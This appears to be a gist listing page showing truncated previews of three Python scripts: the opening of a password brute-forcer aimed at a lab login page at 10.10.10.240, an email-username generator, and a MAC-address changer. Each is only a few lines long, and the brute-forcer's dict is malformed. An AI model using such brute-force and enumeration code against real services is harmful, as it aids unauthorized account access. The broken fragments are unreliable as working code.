This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import requests | |
| target_url = "http://10.10.10.240/login.php" | |
| data_dict = "{"username": "admin", "password": "", "Login": "submit"}" | |
| with open("/home/kali/Desktop/passwords.txt", "r") as wordlist_file: | |
| for line in wordlist_file: | |
| word = line.strip() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import sys | |
| import os.path | |
| import argparse | |
| def generate_usernames(fname, lname, domain): | |
| usernames = [ | |
| f"{fname}{lname}@{domain}", # johndoe@domain.com | |
| f"{lname}{fname}@{domain}", # doejohn@domain.com | |
| f"{fname}.{lname}@{domain}", # john.doe@domain.com |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import subprocess | |
| import optparse | |
| import re | |
| def get_arguments(): | |
| parser = optparse.OptionParser() | |
| parser.add_option("-i", "--interface", dest="interface", help="Interface to change its MAC address") | |
| parser.add_option("-m", "--mac", dest="new_mac", help="New MAC address") |
NewerOlder